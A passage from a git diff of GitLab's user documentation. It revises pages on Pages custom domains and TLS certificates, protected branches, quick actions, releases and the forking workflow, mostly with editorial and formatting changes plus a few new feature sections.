24h)](https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/complete-guide-to-dns-records/), although it's usually a matter of minutes to complete. Until it does, verification will fail and attempts to visit your domain will respond with a 404. > - Once your domain has been verified, leave the verification record @@ -190,6 +190,22 @@ Expect the output: _gitlab-pages-verification-code.<YOUR-PAGES-DOMAIN>. 300 IN TXT "gitlab-pages-verification-code=<YOUR-VERIFICATION-CODE>" ``` +In some cases it can help to add the verification code with the same domain name as you are trying to register. + +For a root domain: + +| From | DNS Record | To | +| ------------------------------------------------- | ---------- | ---------------------- | +| `example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` | +| `_gitlab-pages-verification-code.example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` | + +For a subdomain: + +| From | DNS Record | To | +| ------------------------------------------------- | ---------- | ---------------------- | +| `www.example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` | +| `_gitlab-pages-verification-code.www.example.com` | TXT | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` | + ### Adding more domain aliases You can add more than one alias (custom domains and subdomains) to the same project. @@ -280,7 +296,7 @@ To make your website's visitors even more secure, you can choose to force HTTPS for GitLab Pages. By doing so, all attempts to visit your website via HTTP will be automatically redirected to HTTPS via 301. -It works with both GitLab's default domain and with your custom +It works with both the GitLab default domain and with your custom domain (as long as you've set a valid certificate for it). To enable this setting: diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md index 24b202dfdbd..3dea35153e4 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md @@ -2,8 +2,8 @@ type: reference description: "Automatic Let's Encrypt SSL certificates for GitLab Pages." stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Pages integration with Let's Encrypt @@ -18,7 +18,7 @@ GitLab does it for you, out-of-the-box. [Let's Encrypt](https://letsencrypt.org) is a free, automated, and open source Certificate Authority. -CAUTION: **Caution:** +WARNING: This feature covers only certificates for **custom domains**, not the wildcard certificate required to run [Pages daemon](../../../../administration/pages/index.md) **(CORE ONLY)**. Wildcard certificate generation is tracked in [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3342). ## Requirements @@ -33,7 +33,7 @@ Before you can enable automatic provisioning of an SSL certificate for your doma and verified your ownership. - Verified your website is up and running, accessible through your custom domain. -GitLab's Let's Encrypt integration is enabled and available on GitLab.com. +The GitLab integration with Let's Encrypt is enabled and available on GitLab.com. For **self-managed** GitLab instances, make sure your administrator has [enabled it](../../../../administration/pages/index.md#lets-encrypt-integration). diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md index f30361e6669..dc73a664324 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md @@ -1,8 +1,8 @@ --- type: concepts stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SSL/TLS Certificates @@ -16,8 +16,8 @@ up your Pages project with your custom (sub)domain, if you want it secured by HTTPS, you will have to issue a certificate for that (sub)domain and install it on your project. -NOTE: **Note:** -Certificates are NOT required to add to your custom +NOTE: +Certificates are **not** required to add to your custom (sub)domain on your GitLab Pages project, though they are highly recommendable. @@ -56,7 +56,7 @@ reiterating the importance of HTTPS. ## Issuing Certificates -GitLab Pages accepts certificates provided in the [PEM](https://knowledge.digicert.com/quovadis) format, issued by +GitLab Pages accepts certificates provided in the [PEM](https://knowledge.digicert.com/quovadis.html) format, issued by [Certificate Authorities](https://en.wikipedia.org/wiki/Certificate_authority) or as [self-signed certificates](https://en.wikipedia.org/wiki/Self-signed_certificate). Note that [self-signed certificates are typically not used](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/) for public websites for security reasons and to ensure that browsers trust your site's certificate. diff --git a/doc/user/project/pages/getting_started/fork_sample_project.md b/doc/user/project/pages/getting_started/fork_sample_project.md index 250e90f0302..2cf118c9066 100644 --- a/doc/user/project/pages/getting_started/fork_sample_project.md +++ b/doc/user/project/pages/getting_started/fork_sample_project.md @@ -3,3 +3,6 @@ redirect_to: 'pages_forked_sample_project.md' --- This document was moved to [pages_forked_sample_project.md](pages_forked_sample_project.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/new_or_existing_website.md b/doc/user/project/pages/getting_started/new_or_existing_website.md index f19334a1764..2fc833fbd34 100644 --- a/doc/user/project/pages/getting_started/new_or_existing_website.md +++ b/doc/user/project/pages/getting_started/new_or_existing_website.md @@ -3,3 +3,6 @@ redirect_to: 'pages_ci_cd_template.md' --- This document was moved to [another location](pages_ci_cd_template.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/pages_bundled_template.md b/doc/user/project/pages/getting_started/pages_bundled_template.md index bc706105606..0dab1f6ee19 100644 --- a/doc/user/project/pages/getting_started/pages_bundled_template.md +++ b/doc/user/project/pages/getting_started/pages_bundled_template.md @@ -3,3 +3,6 @@ redirect_to: 'pages_new_project_template.md' --- This document was moved to [pages_new_project_template.md](pages_new_project_template.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md index 906ffe43285..6dd431e02b0 100644 --- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md +++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md @@ -1,8 +1,8 @@ --- type: reference, howto stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Create a Pages website by using a CI/CD template diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md index 7dc3d2197b5..525bbde4671 100644 --- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md +++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md @@ -1,13 +1,13 @@ --- type: reference, howto stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Create a Pages website from a forked sample -GitLab provides [sample projects for the most popular Static Site Generators](https://gitlab.com/pages). +GitLab provides [sample projects for the most popular Static Site Generators (SSG)](https://gitlab.com/pages). You can fork one of the sample projects and run the CI/CD pipeline to generate a Pages website. Fork a sample project when you want to test GitLab Pages or start a new project that's already diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md index e030326ac5f..230e88f35f5 100644 --- a/doc/user/project/pages/getting_started/pages_from_scratch.md +++ b/doc/user/project/pages/getting_started/pages_from_scratch.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Create a GitLab Pages website from scratch diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md index cfa4e0910db..eec8349abe6 100644 --- a/doc/user/project/pages/getting_started/pages_new_project_template.md +++ b/doc/user/project/pages/getting_started/pages_new_project_template.md @@ -1,8 +1,8 @@ --- type: reference, howto stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Create a Pages website from a new project template diff --git a/doc/user/project/pages/getting_started_part_four.md b/doc/user/project/pages/getting_started_part_four.md index e45befe004e..361323a9073 100644 --- a/doc/user/project/pages/getting_started_part_four.md +++ b/doc/user/project/pages/getting_started_part_four.md @@ -3,3 +3,6 @@ redirect_to: 'getting_started/pages_from_scratch.md' --- This document was moved to [getting_started/pages_from_scratch.md](getting_started/pages_from_scratch.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md index 5ef0c4cc7b9..f549c4e6e7d 100644 --- a/doc/user/project/pages/getting_started_part_one.md +++ b/doc/user/project/pages/getting_started_part_one.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Pages domain names, URLs, and baseurls @@ -33,7 +33,7 @@ Pages domains are `*.gitlab.io`. | Project pages owned by a group | `projectname` | `http(s)://groupname.example.io/projectname`| | Project pages owned by a subgroup | `subgroup/projectname` | `http(s)://groupname.example.io/subgroup/projectname`| -CAUTION: **Warning:** +WARNING: There are some known [limitations](introduction.md#limitations) regarding namespaces served under the general domain name and HTTPS. Make sure to read that section. @@ -80,6 +80,9 @@ To understand Pages domains clearly, read the examples below. ## URLs and baseurls +NOTE: +The `baseurl` option might be called named differently in some static site generators. + Every Static Site Generator (SSG) default configuration expects to find your website under a (sub)domain (`example.com`), not in a subdirectory of that domain (`example.com/subdir`). Therefore, @@ -96,7 +99,7 @@ baseurl: "/blog" ``` On the contrary, if you deploy your website after forking one of -our [default examples](https://gitlab.com/pages), the baseurl will +our [default examples](https://gitlab.com/pages), the `baseurl` will already be configured this way, as all examples there are project websites. If you decide to make yours a user or group website, you'll have to remove this configuration from your project. For the Jekyll @@ -106,6 +109,9 @@ example we've just mentioned, you'd have to change Jekyll's `_config.yml` to: baseurl: "" ``` +If you're using the [plain HTML example](https://gitlab.com/pages/plain-html), +you don't need to set a `baseurl`. + ## Custom domains GitLab Pages supports custom domains and subdomains, served under HTTP or HTTPS. diff --git a/doc/user/project/pages/getting_started_part_three.md b/doc/user/project/pages/getting_started_part_three.md index 4bf5300aa13..9d7f401ca91 100644 --- a/doc/user/project/pages/getting_started_part_three.md +++ b/doc/user/project/pages/getting_started_part_three.md @@ -3,3 +3,6 @@ redirect_to: 'custom_domains_ssl_tls_certification/index.md' --- This document was moved to [another location](custom_domains_ssl_tls_certification/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_two.md b/doc/user/project/pages/getting_started_part_two.md index 70e84f5d486..4b2b186ca28 100644 --- a/doc/user/project/pages/getting_started_part_two.md +++ b/doc/user/project/pages/getting_started_part_two.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md#getting-started). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index f5cd6991869..846d30e898c 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -1,8 +1,8 @@ --- description: 'Learn how to use GitLab Pages to deploy a static website at no additional cost.' stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Pages @@ -83,9 +83,9 @@ to build your site and publish it to the GitLab Pages server. The sequence of scripts that GitLab CI/CD runs to accomplish this task is created from a file named `.gitlab-ci.yml`, which you can [create and modify](getting_started/pages_from_scratch.md) at will. A specific `job` called `pages` in the configuration file will make GitLab aware that you are deploying a GitLab Pages website. -You can either use GitLab's [default domain for GitLab Pages websites](getting_started_part_one.md#gitlab-pages-default-domain-names), +You can either use the GitLab [default domain for GitLab Pages websites](getting_started_part_one.md#gitlab-pages-default-domain-names), `*.gitlab.io`, or your own domain (`example.com`). In that case, you'll -need admin access to your domain's registrar (or control panel) to set it up with Pages. +need administrator access to your domain's registrar (or control panel) to set it up with Pages. The following diagrams show the workflows you might follow to get started with Pages. @@ -103,7 +103,7 @@ To restrict access to your website, enable [GitLab Pages Access Control](pages_a If you're using a self-managed instance (Core, Starter, Premium, or Ultimate), your websites will be published on your own server, according to the -[Pages admin settings](../../../administration/pages/index.md) chosen by your sysadmin, +[Pages settings](../../../administration/pages/index.md) chosen by your sysadmin, who can make them public or internal. ## Pages examples diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md index 6dbc12cc2ec..5a284bf57c3 100644 --- a/doc/user/project/pages/introduction.md +++ b/doc/user/project/pages/introduction.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Exploring GitLab Pages @@ -280,4 +280,4 @@ No, you don't. You can create your project first and it will be accessed under ## Known issues -For a list of known issues, visit GitLab's [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages). +For a list of known issues, visit the GitLab [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages). diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md index 13ea57939f8..f2b75354bf8 100644 --- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md +++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md @@ -1,19 +1,19 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)." --- # Let's Encrypt for GitLab Pages (manual process, deprecated) -CAUTION: **Warning:** +WARNING: This method is still valid but was **deprecated** in favor of the [Let's Encrypt integration](custom_domains_ssl_tls_certification/lets_encrypt_integration.md) introduced in GitLab 12.1. If you have a GitLab Pages website served under your own domain, -you might want to secure it with a SSL/TSL certificate. +you might want to secure it with a SSL/TLS certificate. [Let's Encrypt](https://letsencrypt.org) is a free, automated, and open source Certificate Authority. @@ -67,7 +67,7 @@ might be slightly different. Follow the sudo certbot certonly -a manual -d example.com --register-unsafely-without-email ``` - TIP: **Tip:** + NOTE: Read through CertBot's documentation on their [command line options](https://certbot.eff.org/docs/using.html#certbot-command-line-options). diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md index b3705a5835a..9d17277fe9e 100644 --- a/doc/user/project/pages/pages_access_control.md +++ b/doc/user/project/pages/pages_access_control.md @@ -1,8 +1,8 @@ --- type: reference, howto stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Pages Access Control diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md index 60fbf368061..8c189614102 100644 --- a/doc/user/project/pages/redirects.md +++ b/doc/user/project/pages/redirects.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Create redirects for GitLab Pages @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24) in GitLab Pages 1.25.0 and GitLab 13.4 behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/367) in GitLab 13.5. -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. In GitLab Pages, you can configure rules to forward one URL to another using diff --git a/doc/user/project/pipelines/job_artifacts.md b/doc/user/project/pipelines/job_artifacts.md index c23eaebcbe9..cf5f33534cd 100644 --- a/doc/user/project/pipelines/job_artifacts.md +++ b/doc/user/project/pipelines/job_artifacts.md @@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/job_artifacts.md' --- This document was moved to [another location](../../../ci/pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/schedules.md b/doc/user/project/pipelines/schedules.md index a92464d6817..52352a29c5a 100644 --- a/doc/user/project/pipelines/schedules.md +++ b/doc/user/project/pipelines/schedules.md @@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/schedules.md' --- This document was moved to [another location](../../../ci/pipelines/schedules.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/settings.md b/doc/user/project/pipelines/settings.md index af4cbe13aba..f19f28743a8 100644 --- a/doc/user/project/pipelines/settings.md +++ b/doc/user/project/pipelines/settings.md @@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/settings.md' --- This document was moved to [another location](../../../ci/pipelines/settings.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md index 7265fd330e3..5754a3b7a9d 100644 --- a/doc/user/project/protected_branches.md +++ b/doc/user/project/protected_branches.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -21,8 +21,8 @@ By default, a protected branch does four simple things: - It prevents **anyone** from force pushing to the branch. - It prevents **anyone** from deleting the branch. -NOTE: **Note:** -A GitLab admin is allowed to push to the protected branches. +NOTE: +A GitLab administrator is allowed to push to the protected branches. See the [Changelog](#changelog) section for changes over time. @@ -74,6 +74,33 @@ dropdown list in the "Already protected" area. If you don't choose any of those options while creating a protected branch, they are set to "Maintainers" by default. +### Allow Deploy Keys to push to a protected branch + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30769) in GitLab 13.7. +> - This feature is being selectively deployed in GitLab.com 13.7, and may not be available for all users. + +You can allow specific machines to access protected branches in your repository with +[Deploy Keys](deploy_keys/index.md). This can be useful for your CI/CD workflow, +for example. + +Deploy keys can be selected in the **Allowed to push** dropdown when: + +- Defining a protected branch. +- Updating an existing branch. + +Select a deploy key to allow the owner of the key to push to the chosen protected branch, +even if they aren't a member of the related project. The owner of the selected deploy +key must have at least read access to the given project. + +For a deploy key to be selectable: + +- It must be [enabled for your project](deploy_keys/index.md#how-to-enable-deploy-keys). +- It must have [write access](deploy_keys/index.md#deploy-keys-permissions) to your project repository. + +Deploy Keys are not available in the **Allowed to merge** dropdown. + + + ## Restricting push and merge access to certain users **(STARTER)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5081) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.11. @@ -143,7 +170,7 @@ From time to time, it may be required to delete or clean up branches that are protected. User with [Maintainer permissions](../permissions.md) and up can manually delete protected -branches via GitLab's web interface: +branches via the GitLab web interface: 1. Visit **Repository > Branches** 1. Click on the delete icon next to the branch you wish to delete @@ -197,6 +224,10 @@ for details about the pipelines security model. ## Changelog +**13.5** + +- [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769). + **11.9** - [Allow protected branches to be created](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361) by Developers (and users with higher permission levels) through the API and the user interface. diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md index 5dd2a72c91e..7e09c526312 100644 --- a/doc/user/project/protected_tags.md +++ b/doc/user/project/protected_tags.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md index db9e2f270e0..8af4307c013 100644 --- a/doc/user/project/push_options.md +++ b/doc/user/project/push_options.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -17,7 +17,7 @@ Currently, there are push options available for: - [Skipping CI jobs](#push-options-for-gitlab-cicd) - [Merge requests](#push-options-for-merge-requests) -NOTE: **Note:** +NOTE: Git push options are only available with Git 2.10 or newer. For Git versions 2.10 to 2.17 use `--push-option`: diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md index 46db7293711..9f849051f40 100644 --- a/doc/user/project/quick_actions.md +++ b/doc/user/project/quick_actions.md @@ -2,7 +2,7 @@ type: reference stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Quick Actions @@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > quick actions when updating the description of issues, epics, and merge requests. Quick actions are textual shortcuts for common actions on issues, epics, merge requests, -and commits that are usually done by clicking buttons or dropdowns in GitLab's UI. +and commits that are usually done by clicking buttons or dropdowns in the GitLab UI. You can enter these commands in the description or in comments of issues, epics, merge requests, and commits. Each command should be on a separate line in order to be properly detected and executed. @@ -34,6 +34,7 @@ The following quick actions are applicable to descriptions, discussions and thre | `/award :emoji:` | ✓ | ✓ | ✓ | Toggle emoji award. | | `/child_epic <epic>` | | | ✓ | Add child epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced in GitLab 12.0](https://gitlab.com/gitlab-org/gitlab/-/issues/7330)). **(ULTIMATE)** | | `/clear_weight` | ✓ | | | Clear weight. **(STARTER)** | +| `/clone <path/to/project> [--with_notes]`| ✓ | | | Clone the issue to given project, or the current one if no arguments are given ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9421) in GitLab 13.7). Copies as much data as possible as long as the target project contains equivalent labels, milestones, and so on. Does not copy comments or system notes unless `--with_notes` is provided as an argument. | | `/close` | ✓ | ✓ | ✓ | Close. | | `/confidential` | ✓ | | | Make confidential. | | `/copy_metadata <!merge_request>` | ✓ | ✓ | | Copy labels and milestone from another merge request in the project. | diff --git a/doc/user/project/releases.md b/doc/user/project/releases.md index baa7a295273..6dd5a6f0b0d 100644 --- a/doc/user/project/releases.md +++ b/doc/user/project/releases.md @@ -3,3 +3,6 @@ redirect_to: 'releases/index.md' --- This document was moved to [another location](releases/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 674fe8b22b8..7b412270938 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -1,8 +1,8 @@ --- type: reference, howto stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Releases @@ -79,6 +79,16 @@ To create a new release through the GitLab UI: [release notes](#release-notes-description), or [assets links](#links). 1. Click **Create release**. +### Create release from GitLab CI + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 12.7. + +You can [create a release directly from the GitLab CI pipeline](../../../ci/yaml/README.md#release) +by using a `release` node in the job definition. + +The release is created only if the job processes without error. If the Rails API returns an error +during release creation, the release job fails. + ### Schedule a future release > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38105) in GitLab 12.1. @@ -213,7 +223,7 @@ To set a deploy freeze window in the UI, complete these steps:  -CAUTION: **Caution:** +WARNING: To edit or delete a deploy freeze, use the [Freeze Periods API](../../../api/freeze_periods.md). If a project contains multiple freeze periods, all periods apply. If they overlap, the freeze covers the @@ -460,7 +470,7 @@ In the API: > [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/6) in GitLab 12.10. The Release CLI is a command-line tool for managing GitLab Releases from the command line or from -GitLab's CI/CD configuration file, `.gitlab-ci.yml`. +the GitLab CI/CD configuration file, `.gitlab-ci.yml`. With it, you can create, update, modify, and delete releases right through the terminal. diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md index a937b6ed959..ffd4b383bcb 100644 --- a/doc/user/project/repository/branches/index.md +++ b/doc/user/project/repository/branches/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: concepts, howto --- diff --git a/doc/user/project/repository/file_finder.md b/doc/user/project/repository/file_finder.md index 99319efbb7f..4f996df5fef 100644 --- a/doc/user/project/repository/file_finder.md +++ b/doc/user/project/repository/file_finder.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/workflow/file_finder.html' --- @@ -40,7 +40,7 @@ the `app/controllers/admin/deploy_keys_controller.rb` file. Using a fuzzy search, we start by typing letters that get us closer to the file. -TIP: **Tip:** +NOTE: To narrow down your search, include `/` in your search terms.  diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md index b0aa7569579..75e1aea632f 100644 --- a/doc/user/project/repository/forking_workflow.md +++ b/doc/user/project/repository/forking_workflow.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/workflow/forking_workflow.html' --- @@ -26,18 +26,18 @@ Forking a project is, in most cases, a two-step process. 1. Click a namespace to fork to. Only namespaces you have Developer and higher [permissions](../../permissions.md) for are shown. - NOTE: **Note:** + NOTE: The project path must be unique within the namespace.  The fork is created. The permissions you have in the namespace are the permissions you will have in the fork. -CAUTION: **Caution:** +WARNING: In GitLab 12.6 and later, when project owners [reduce a project's visibility](../../../public_access/public_access.md#reducing-visibility), it **removes the relationship** between a project and all its forks. -CAUTION: 